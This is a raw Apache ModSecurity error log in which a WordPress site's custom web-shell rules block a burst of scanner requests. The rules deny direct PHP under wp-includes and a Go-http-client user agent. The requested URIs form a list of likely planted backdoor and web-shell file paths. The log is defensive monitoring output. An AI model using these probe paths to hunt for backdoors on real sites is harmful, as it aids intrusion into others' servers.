[Sun May 24 18:48:04.534812 2026] [:error] [pid 41708:tid 41720] [client 203.25.124.58:62055] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-site-edit.php"] [unique_id "ahLXZP4tQzoTxpuHBF7OUgAAAYo"]
[Sun May 24 18:48:10.532112 2026] [:error] [pid 41708:tid 41721] [client 203.25.124.35:65503] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/media-time.php"] [unique_id "ahLXav4tQzoTxpuHBF7OXgAAAYs"]
[Sun May 24 18:48:16.026772 2026] [:error] [pid 49775:tid 49801] [client 203.25.124.39:22477] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-featured-image/"] [unique_id "ahLXcIvZb8G6T8WpI1idnAAAABg"]
[Sun May 24 18:48:16.839713 2026] [:error] [pid 49775:tid 49786] [client 203.25.124.72:28845] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/riode/inc/add-on/live-search/"] [unique_id "ahLXcIvZb8G6T8WpI1idoQAAAAk"]
[Sun May 24 18:48:18.026853 2026] [:error] [pid 49775:tid 49795] [client 203.25.124.42:46295] [client 203.25.124.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/literata/"] [unique_id "ahLXcovZb8G6T8WpI1idqAAAABI"]
[Sun May 24 18:48:29.230111 2026] [:error] [pid 49689:tid 49737] [client 203.25.124.212:61769] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/shortcode/"] [unique_id "ahLXfQaxiY3NxLUD97V3jAAAAJM"]
[Sun May 24 18:48:30.640513 2026] [:error] [pid 23497:tid 23524] [client 203.25.124.72:57107] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/math/"] [unique_id "ahLXfiPlV47QcYwd2v_8-wAAAVg"]
[Sun May 24 18:48:32.031790 2026] [:error] [pid 2639:tid 2644] [client 203.25.124.65:52851] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Utility/"] [unique_id "ahLXgEzQncQTd0Z0Oe9wzgAAAQM"]
[Sun May 24 18:48:32.830518 2026] [:error] [pid 23497:tid 23501] [client 203.25.124.68:38561] [client 203.25.124.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/index.php"] [unique_id "ahLXgCPlV47QcYwd2v_8_QAAAUE"]
[Sun May 24 18:48:34.023580 2026] [:error] [pid 4777:tid 4791] [client 203.25.124.215:20883] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/"] [unique_id "ahLXgvtPctoQOm4w5pN6JQAAAck"]
[Sun May 24 18:48:35.639284 2026] [:error] [pid 49689:tid 49723] [client 203.25.124.48:36407] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/abilities-api/wp-conflg.php"] [unique_id "ahLXgwaxiY3NxLUD97V3kAAAAIU"]
[Sun May 24 18:48:37.436914 2026] [:error] [pid 41708:tid 41720] [client 203.25.124.67:33561] [client 203.25.124.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/class-wp-image.php"] [unique_id "ahLXhf4tQzoTxpuHBF7OaQAAAYo"]
[Sun May 24 18:48:39.232200 2026] [:error] [pid 41708:tid 41721] [client 212.32.76.11:50735] [client 212.32.76.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/bott.php"] [unique_id "ahLXh_4tQzoTxpuHBF7OagAAAYs"]
[Sun May 24 18:48:40.727927 2026] [:error] [pid 49775:tid 49780] [client 203.25.124.73:43055] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/admin.php"] [unique_id "ahLXiIvZb8G6T8WpI1iduwAAAAM"]
[Sun May 24 18:48:47.847858 2026] [:error] [pid 49775:tid 49786] [client 212.32.76.2:56273] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/admin.php"] [unique_id "ahLXj4vZb8G6T8WpI1idxAAAAAk"]
[Sun May 24 18:48:49.243728 2026] [:error] [pid 49744:tid 49749] [client 212.32.76.13:65089] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/zsdhb.php"] [unique_id "ahLXkTsE5kPdFpUbbHHSzwAAAMM"]
[Sun May 24 18:48:50.624951 2026] [:error] [pid 41708:tid 41713] [client 212.32.76.5:29625] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/revision-long.php"] [unique_id "ahLXkv4tQzoTxpuHBF7ObwAAAYM"]
[Sun May 24 18:48:52.437603 2026] [:error] [pid 4777:tid 4795] [client 203.25.124.49:42137] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/getid3-exception.php"] [unique_id "ahLXlPtPctoQOm4w5pN6QwAAAc0"]
[Sun May 24 18:48:52.931047 2026] [:error] [pid 2639:tid 2646] [client 203.25.124.39:31327] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-json-restful.php"] [unique_id "ahLXlEzQncQTd0Z0Oe9w3AAAAQU"]
[Sun May 24 18:49:04.834826 2026] [:error] [pid 49744:tid 49767] [client 212.32.76.2:31275] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/build/irys/"] [unique_id "ahLXoDsE5kPdFpUbbHHS1QAAANU"]
[Sun May 24 18:49:05.729776 2026] [:error] [pid 41708:tid 41715] [client 203.25.124.35:37665] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/details/xmu.php"] [unique_id "ahLXof4tQzoTxpuHBF7OdgAAAYU"]
[Sun May 24 18:49:06.130107 2026] [:error] [pid 49744:tid 49766] [client 203.25.124.211:46763] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/dist/resources/js/tal/admin.php"] [unique_id "ahLXojsE5kPdFpUbbHHS2gAAANQ"]
[Sun May 24 18:49:12.838582 2026] [:error] [pid 49775:tid 49792] [client 212.32.76.6:23325] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ahLXqIvZb8G6T8WpI1id0AAAAA8"]
[Sun May 24 18:49:15.925335 2026] [:error] [pid 41708:tid 41712] [client 203.25.124.32:60511] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/chosen.php"] [unique_id "ahLXq_4tQzoTxpuHBF7OgwAAAYI"]
[Sun May 24 18:49:16.727003 2026] [:error] [pid 23497:tid 23517] [client 212.32.76.8:30449] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hlex/hlex2.php"] [unique_id "ahLXrCPlV47QcYwd2v_9KQAAAVE"]
[Sun May 24 18:49:17.927215 2026] [:error] [pid 23497:tid 23519] [client 203.25.124.74:40581] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/view-source/ioxi-o2.php"] [unique_id "ahLXrSPlV47QcYwd2v_9MQAAAVM"]
[Sun May 24 18:49:19.020863 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.31:39677] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/cache/classwithtostring.php"] [unique_id "ahLXr_4tQzoTxpuHBF7OjQAAAYw"]
[Sun May 24 18:49:26.628652 2026] [:error] [pid 49775:tid 49779] [client 203.25.124.57:23759] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elex/elex.php"] [unique_id "ahLXtovZb8G6T8WpI1id6AAAAAI"]
[Sun May 24 18:49:28.028280 2026] [:error] [pid 2639:tid 2665] [client 203.25.124.65:47887] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/maintenance.php"] [unique_id "ahLXuEzQncQTd0Z0Oe9w4gAAARg"]
[Sun May 24 18:49:29.330612 2026] [:error] [pid 4777:tid 4802] [client 212.32.76.11:58095] [client 212.32.76.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/database/index.php"] [unique_id "ahLXuftPctoQOm4w5pN6agAAAdQ"]
[Sun May 24 18:49:30.526858 2026] [:error] [pid 23497:tid 23500] [client 203.25.124.69:37645] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Divi/includes/builder/feature/ajax-data/"] [unique_id "ahLXuiPlV47QcYwd2v_9QAAAAUA"]
[Sun May 24 18:49:31.830441 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.66:37255] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Divi/includes/builder/"] [unique_id "ahLXu_4tQzoTxpuHBF7OlgAAAYw"]
[Sun May 24 18:49:38.434632 2026] [:error] [pid 49689:tid 49722] [client 203.25.124.64:29191] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dev.ndmd.kn/wp-includes/Text/231.php"] [unique_id "ahLXwgaxiY3NxLUD97V3ogAAAIQ"]
[Sun May 24 18:49:39.627099 2026] [:error] [pid 2639:tid 2644] [client 203.25.124.212:62723] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/classwithtostring.php"] [unique_id "ahLXw0zQncQTd0Z0Oe9w8AAAAQM"]
[Sun May 24 18:49:40.731845 2026] [:error] [pid 41708:tid 41733] [client 203.25.124.41:29701] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "ahLXxP4tQzoTxpuHBF7OswAAAZc"]
[Sun May 24 18:49:42.626600 2026] [:error] [pid 4777:tid 4805] [client 203.25.124.31:62425] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dev.ndmd.kn/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "ahLXxvtPctoQOm4w5pN6gAAAAdc"]
[Sun May 24 18:49:43.735465 2026] [:error] [pid 41708:tid 41734] [client 203.25.124.39:38777] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wppa-depot/wp-conflg.php"] [unique_id "ahLXx_4tQzoTxpuHBF7OugAAAZg"]
[Sun May 24 18:49:44.829459 2026] [:error] [pid 4777:tid 4802] [client 203.25.124.41:30111] [client 203.25.124.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/wp-conflg.php"] [unique_id "ahLXyPtPctoQOm4w5pN6hgAAAdQ"]
[Sun May 24 18:49:46.025628 2026] [:error] [pid 49688:tid 49709] [client 203.25.124.35:47063] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xjkuda.php"] [unique_id "ahLXymYoQ9V6a_4pBsixhQAAAFI"]
[Sun May 24 18:49:47.125423 2026] [:error] [pid 49688:tid 49697] [client 203.25.124.2:43483] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/login.php"] [unique_id "ahLXy2YoQ9V6a_4pBsixhwAAAEY"]
[Sun May 24 18:49:49.240439 2026] [:error] [pid 49775:tid 49792] [client 203.25.124.31:31161] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/duplicator-pro/ctrls/class.web.services.php"] [unique_id "ahLXzYvZb8G6T8WpI1ieGAAAAA8"]
[Sun May 24 18:49:51.830775 2026] [:error] [pid 2639:tid 2652] [client 212.32.76.7:36043] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/min.php"] [unique_id "ahLXz0zQncQTd0Z0Oe9xCAAAAQs"]
[Sun May 24 18:49:57.825112 2026] [:error] [pid 49775:tid 49777] [client 203.25.124.64:64681] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/wordpress-6.9.1-partial-0/wordpress/wp-includes/home.php"] [unique_id "ahLX1YvZb8G6T8WpI1ieHQAAAAA"]
[Sun May 24 18:49:58.727662 2026] [:error] [pid 49775:tid 49790] [client 203.25.124.54:39715] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget1/analyst/src/403x.php"] [unique_id "ahLX1ovZb8G6T8WpI1ieHwAAAA0"]
[Sun May 24 18:49:59.627013 2026] [:error] [pid 23497:tid 23503] [client 203.25.124.211:37095] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/backup.php"] [unique_id "ahLX1yPlV47QcYwd2v_9kAAAAUM"]
[Sun May 24 18:50:16.635106 2026] [:error] [pid 4777:tid 4788] [client 203.25.124.58:50815] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/maxro.php"] [unique_id "ahLX6PtPctoQOm4w5pN6vgAAAcY"]
[Sun May 24 18:50:17.634271 2026] [:error] [pid 4777:tid 4803] [client 203.25.124.213:53775] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/akismet/_inc/img/PRffc.php"] [unique_id "ahLX6ftPctoQOm4w5pN6vwAAAdU"]
[Sun May 24 18:50:18.428508 2026] [:error] [pid 4777:tid 4800] [client 203.25.124.212:56117] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wpvivid_uploads/wp-conflg.php"] [unique_id "ahLX6vtPctoQOm4w5pN6wAAAAdI"]
[Sun May 24 18:50:19.332739 2026] [:error] [pid 49688:tid 49713] [client 212.32.76.14:28433] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/fukasawa/inc/classes/eroor.php"] [unique_id "ahLX62YoQ9V6a_4pBsixjwAAAFY"]
[Sun May 24 18:50:20.431272 2026] [:error] [pid 49744:tid 49756] [client 203.25.124.32:61145] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/btx25.php"] [unique_id "ahLX7DsE5kPdFpUbbHHTSAAAAMo"]
[Sun May 24 18:50:22.431470 2026] [:error] [pid 2639:tid 2651] [client 203.25.124.211:25629] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/users.php"] [unique_id "ahLX7kzQncQTd0Z0Oe9xKAAAAQo"]
[Sun May 24 18:50:28.932697 2026] [:error] [pid 4777:tid 4785] [client 212.32.76.6:26611] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-cache-sys/class-payment.php"] [unique_id "ahLX9PtPctoQOm4w5pN6yAAAAcM"]
[Sun May 24 18:50:30.334549 2026] [:error] [pid 4777:tid 4801] [client 203.25.124.65:42495] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/chosen.php"] [unique_id "ahLX9vtPctoQOm4w5pN6ygAAAdM"]
